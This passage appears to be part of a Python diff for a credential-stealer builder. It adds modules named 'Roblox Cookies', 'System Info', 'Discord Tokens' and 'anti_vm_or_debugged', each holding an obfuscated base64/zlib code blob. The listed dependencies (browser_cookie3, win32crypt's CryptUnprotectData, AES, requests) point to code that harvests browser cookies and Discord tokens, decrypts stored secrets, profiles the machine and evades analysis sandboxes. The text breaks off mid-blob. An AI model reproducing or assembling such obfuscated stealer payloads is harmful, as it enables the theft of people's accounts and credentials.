YL7Wk3ufLZhlP1nzbnmqdly9Ox6enI9uU8PXlPj+rp0TxHN+pyaHoUZlnX+qalc21wdVDzXdSOnHzapzIDGtNh2ECg+x0gA00fEGRGDQfoCeWDXz67uhn8RvWPr3StBVeDD44/PL5y/M/pzEhmBN3wulZYCSRAcWdn29+6dmz1WLZrw5rz9+b9vRmb1tK21r/an+3b6Mu1nMq3nMpQWnvH2uLqYjb9NJZrH8q3D2Vc255OA9i6Sa2h2yDg2xS2G5l8Y9Cw7MqGFfjaDVtJpICPMewl0QF8XYazJLqArw3Wd1dE8A7Y6kjV07mz89EDPLQBMLt3DzRX4/K4QcAZPAmM5WqGassXWlu/SrVsk64t0rtJetWm82rP1wgLv/EbOXIqT06p5JTmZFSSkT6HLHne0D96Fn/hHAYjLvylE4PCSxc5Um956RnugsKrs44x3PIXhkGcCGImu/4A79FnxqTfJ2pwXmCTc9w58ewu8dogwPQwzMCHMEiXgyCegSb/AzIGkno=') + return { + "name": "Roblox Cookies", + "blob": blob, + "func": "_robloxcookies", + "requirements": [ + {"module": "requests", "path":[], "import": None}, + {"module": "browser_cookie3", "path":[], "import": None}, + ], + } + + @staticmethod + def system_info(): + blob = ('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') + return { + "name": "System Info", + "blob": blob, + "func": "_getsysteminfos", + "requirements": [ + {"module": "contextlib", "path":[], "import": 'suppress'}, + {"module": "io", "path":[], "import": None}, + {"module": "requests", "path":[], "import": None}, + {"module": "platform", "path":[], "import": None}, + {"module": "socket", "path":[], "import": None}, + {"module": "getpass", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + ], + } + + @staticmethod + def discordTokens(): + blob = ('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') + return { + "name": "Discord Tokens", + "blob": blob, + "func": "_discordtokens", + "requirements": [ + {"module": "os", "path":[], "import": None}, + {"module": "re", "path":[], "import": None}, + {"module": "json", "path":[], "import": None}, + {"module": "base64", "path":[], "import": None}, + {"module": "psutil", "path":[], "import": None}, + {"module": "requests", "path":[], "import": None}, + {"module": "win32crypt", "path":[], "import": 'CryptUnprotectData'}, + {"module": "Cryptodome", "path":['Cipher'], "import": 'AES'}, + ], + } + + @staticmethod + def anti_vm_or_debugged(): + blob = ('eJy1WltsHNd5nuVeuLyJkkiRliXXtE1FoeyR536RJTlnZs5QlCiS4kWyXCfqcndILrUXamaXl42EuoCBKIaBKEUCK5ciStC6DuIAbtGHoE9p08J2/CIKBCQM4KciQPrGwClq+KnfmeVladOREqSj5Zkzs/+c81++//v/3dV/cQ1HbOP8cTuGN7kc9xr3MpeLTXADTdlGuST+4kzuF5h9o+0b7d/oeJObheRPYjfYuQnnGM5xnJtwTuAcb+EqDUvciXG7HG/h72dbV3/TlEtOcJXk9vuV1PY8l3qrCdJNm9f+kcZ35xNbs63n7zS8/0V7+vU99zRomt7tqVzzbOwt2PCzLTsc7quZG4kW7npivmVb6uD2Oq0P3/31jkrv9ns3O2ZiufRr6etx5zNyO3f24zGOaf0GeWaH5vPtm7Mddzs2ZzNN/dGzl7k3vrbELccvc0uxyuEGyzsfrvGjWHUjeT2Za3mNu8591o7FTX/3Ney678+0a+p6KteKXWNftCsQ2d+wb9dua+bacslGqfnuzdk77W8hB34W33r+wK7Pd7yzZ2e07vTsKte5Uyq3twE5vbs98Rlrm683X2/atKy0F0gQtmU341xKbMb5kWzfl0vmku/s32nnjfQjPNm165Mtj/Bk965Ptl5P/4DLHbjeEo2tP+D+LvlI+dS2I5/akE89r6VzvQ/Jpz+nDx/bzZ7X23fo1Q69DkKvx/88ej1cIncInH54ZODpMJXzrl71/HD/JYcMTlXyhXxlhWSz5WqpEibI9PRKmJwrZvxsmFzIVLzlsH3cmTsr2COut1h7KWy5Sr3szPml2fkw6fqZ0tWw3RgpCHa5MHJBnb4WJobzQSZMnC3PlcLUrFf2Z72w0/KrpfLYcjE3NbpwcWU5TBkX87WJ82HHkjAzXx29WLSzYyoJ04XixaX5eXM6bB+7Njoyf+bikrccTITNclVaNItGmDxbLeQzYfMZOuWN1wphYsb3cmEq8PxFGNRmLZ6158bHSsFyqdZxJuP7K31Mj6BcCtMT12bd0Rl5MEwOV7OZIEwU81e9MDkGE18K03N67qq4POaHqeFyNR94YWoKiwpimKh4QSXsGB+sZa2pFb9WGvdmw3RQ8RbmFvLegFLrdOjEucnRMZ4OXSJDuhW2C7at6MQ2ZEOQap0WpbqsCzZv2Bga5SdVkZwdDVOmpqqKvP3GCDnnuucna52XhkZ4lQq6PTphkuFxrCULriApEi/aGmlc6+L4xIVhMhi2XjCHyOT4ubHxM2HqJVtTXra2hRxBNAed89s3Lg0Z9jCdDJsn6PhFOi7WmoeHJgg/Zteaz46eGWGTLVlLmDRlR9u+IY5dPjcmmQ03LkuKLI+HzZeGhunlMTtMXBodP1fr1GwFHpBd3pYcE0q3jJPhsTMTO1a/NCifv3x2YvuGDuUH6cvbN9TRi+aEMAoLM/7Lc37OWpgP06PjdJhSbNVGxu0zQxYZdrBq+uzU8BAzI2zNidOls1dnLhbOhM0jdHISatU6tkyaGhwa3d7BtgbHXEprLXVvsOfbJ4cuDF0eJubkJbXBb+fI8MWhkdGwwx49PzZCztMriqDoDZ4wR4eHJ50Gz1NZMydorZMSw5aoRFgsdF4Jm8m